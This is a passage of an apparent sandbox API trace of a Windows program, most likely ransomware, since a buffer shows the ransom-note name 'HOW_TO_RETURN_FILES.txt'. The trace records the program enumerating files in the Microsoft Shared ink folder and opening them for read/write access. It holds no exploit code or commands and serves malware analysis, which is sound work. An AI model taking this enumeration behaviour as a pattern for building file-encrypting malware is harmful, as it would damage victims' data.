lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="hwrusash.dat", lpUsedDefaultChar=0x37df4c) returned 12 [0095.009] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.009] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.009] AreFileApisANSI () returned 1 [0095.009] GetACP () returned 0x4e4 [0095.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InkDiv.dll", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="InkDiv.dllat", lpUsedDefaultChar=0x37df4c) returned 10 [0095.009] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.009] AreFileApisANSI () returned 1 [0095.009] GetACP () returned 0x4e4 [0095.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InkObj.dll", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="InkObj.dll", lpUsedDefaultChar=0x37df4c) returned 10 [0095.009] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.009] AreFileApisANSI () returned 1 [0095.010] GetACP () returned 0x4e4 [0095.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InkWatson.exe", cchWideChar=13, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="InkWatson.exet", lpUsedDefaultChar=0x37df4c) returned 13 [0095.010] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.010] AreFileApisANSI () returned 1 [0095.010] GetACP () returned 0x4e4 [0095.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InputPersonalization.exe", cchWideChar=24, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="InputPersonalization.exeed\\Help\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 24 [0095.010] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.010] AreFileApisANSI () returned 1 [0095.010] GetACP () returned 0x4e4 [0095.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipscat.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipscat.xmlnalization.exe", lpUsedDefaultChar=0x37df4c) returned 10 [0095.010] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.010] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.011] AreFileApisANSI () returned 1 [0095.011] GetACP () returned 0x4e4 [0095.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipschs.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipschs.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.011] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.011] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.011] AreFileApisANSI () returned 1 [0095.011] GetACP () returned 0x4e4 [0095.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipscht.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipscht.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.011] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.012] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.012] AreFileApisANSI () returned 1 [0095.012] GetACP () returned 0x4e4 [0095.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipscsy.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipscsy.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.012] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.012] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.012] AreFileApisANSI () returned 1 [0095.012] GetACP () returned 0x4e4 [0095.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsdan.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsdan.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.012] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.012] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.012] AreFileApisANSI () returned 1 [0095.012] GetACP () returned 0x4e4 [0095.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsdeu.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsdeu.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.012] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.012] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.012] AreFileApisANSI () returned 1 [0095.012] GetACP () returned 0x4e4 [0095.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsen.xml", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsen.xmll", lpUsedDefaultChar=0x37df4c) returned 9 [0095.013] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.013] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.013] AreFileApisANSI () returned 1 [0095.013] GetACP () returned 0x4e4 [0095.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsesp.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsesp.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.013] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.013] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.013] AreFileApisANSI () returned 1 [0095.014] GetACP () returned 0x4e4 [0095.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPSEventLogMsg.dll", cchWideChar=18, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IPSEventLogMsg.dllon.exe", lpUsedDefaultChar=0x37df4c) returned 18 [0095.014] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.014] AreFileApisANSI () returned 1 [0095.014] GetACP () returned 0x4e4 [0095.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsfin.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsfin.xmlgMsg.dll", lpUsedDefaultChar=0x37df4c) returned 10 [0095.014] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.014] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.014] AreFileApisANSI () returned 1 [0095.014] GetACP () returned 0x4e4 [0095.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsfra.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsfra.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.014] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.015] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.015] AreFileApisANSI () returned 1 [0095.015] GetACP () returned 0x4e4 [0095.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipshrv.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipshrv.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.015] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.015] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.015] AreFileApisANSI () returned 1 [0095.015] GetACP () returned 0x4e4 [0095.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsita.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsita.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.015] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.015] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.015] AreFileApisANSI () returned 1 [0095.015] GetACP () returned 0x4e4 [0095.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsjpn.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsjpn.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.015] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.015] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.015] AreFileApisANSI () returned 1 [0095.015] GetACP () returned 0x4e4 [0095.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipskor.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipskor.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.016] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.016] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.016] AreFileApisANSI () returned 1 [0095.016] GetACP () returned 0x4e4 [0095.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IpsMigrationPlugin.dll", cchWideChar=22, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IpsMigrationPlugin.dllxe", lpUsedDefaultChar=0x37df4c) returned 22 [0095.016] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.016] AreFileApisANSI () returned 1 [0095.016] GetACP () returned 0x4e4 [0095.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsnld.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsnld.xmlonPlugin.dll", lpUsedDefaultChar=0x37df4c) returned 10 [0095.016] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.017] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.017] AreFileApisANSI () returned 1 [0095.017] GetACP () returned 0x4e4 [0095.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsnor.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsnor.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.017] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.017] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.017] AreFileApisANSI () returned 1 [0095.017] GetACP () returned 0x4e4 [0095.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsplk.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsplk.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.017] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.018] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.018] AreFileApisANSI () returned 1 [0095.018] GetACP () returned 0x4e4 [0095.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IpsPlugin.dll", cchWideChar=13, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IpsPlugin.dlllugin.dll", lpUsedDefaultChar=0x37df4c) returned 13 [0095.018] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.018] AreFileApisANSI () returned 1 [0095.018] GetACP () returned 0x4e4 [0095.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsptb.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsptb.xmldll", lpUsedDefaultChar=0x37df4c) returned 10 [0095.018] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.018] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.018] AreFileApisANSI () returned 1 [0095.018] GetACP () returned 0x4e4 [0095.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsptg.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsptg.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.018] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.018] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.018] AreFileApisANSI () returned 1 [0095.018] GetACP () returned 0x4e4 [0095.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsrom.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsrom.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.018] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.019] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.019] AreFileApisANSI () returned 1 [0095.019] GetACP () returned 0x4e4 [0095.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipsrus.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipsrus.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.019] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.020] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.020] AreFileApisANSI () returned 1 [0095.020] GetACP () returned 0x4e4 [0095.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipssrb.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipssrb.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.020] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.020] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.020] AreFileApisANSI () returned 1 [0095.020] GetACP () returned 0x4e4 [0095.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipssrl.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipssrl.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.020] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.020] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.020] AreFileApisANSI () returned 1 [0095.020] GetACP () returned 0x4e4 [0095.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ipssve.xml", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ipssve.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0095.020] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.021] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.021] AreFileApisANSI () returned 1 [0095.021] GetACP () returned 0x4e4 [0095.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="it-IT", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="it-ITe.xml", lpUsedDefaultChar=0x37df4c) returned 5 [0095.021] AreFileApisANSI () returned 1 [0095.021] GetACP () returned 0x4e4 [0095.021] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\") returned 57 [0095.021] AreFileApisANSI () returned 1 [0095.021] GetACP () returned 0x4e4 [0095.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0095.021] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.021] AreFileApisANSI () returned 1 [0095.021] GetACP () returned 0x4e4 [0095.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0095.021] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.021] AreFileApisANSI () returned 1 [0095.021] GetACP () returned 0x4e4 [0095.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.mui", lpUsedDefaultChar=0x37dec0) returned 15 [0095.021] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), 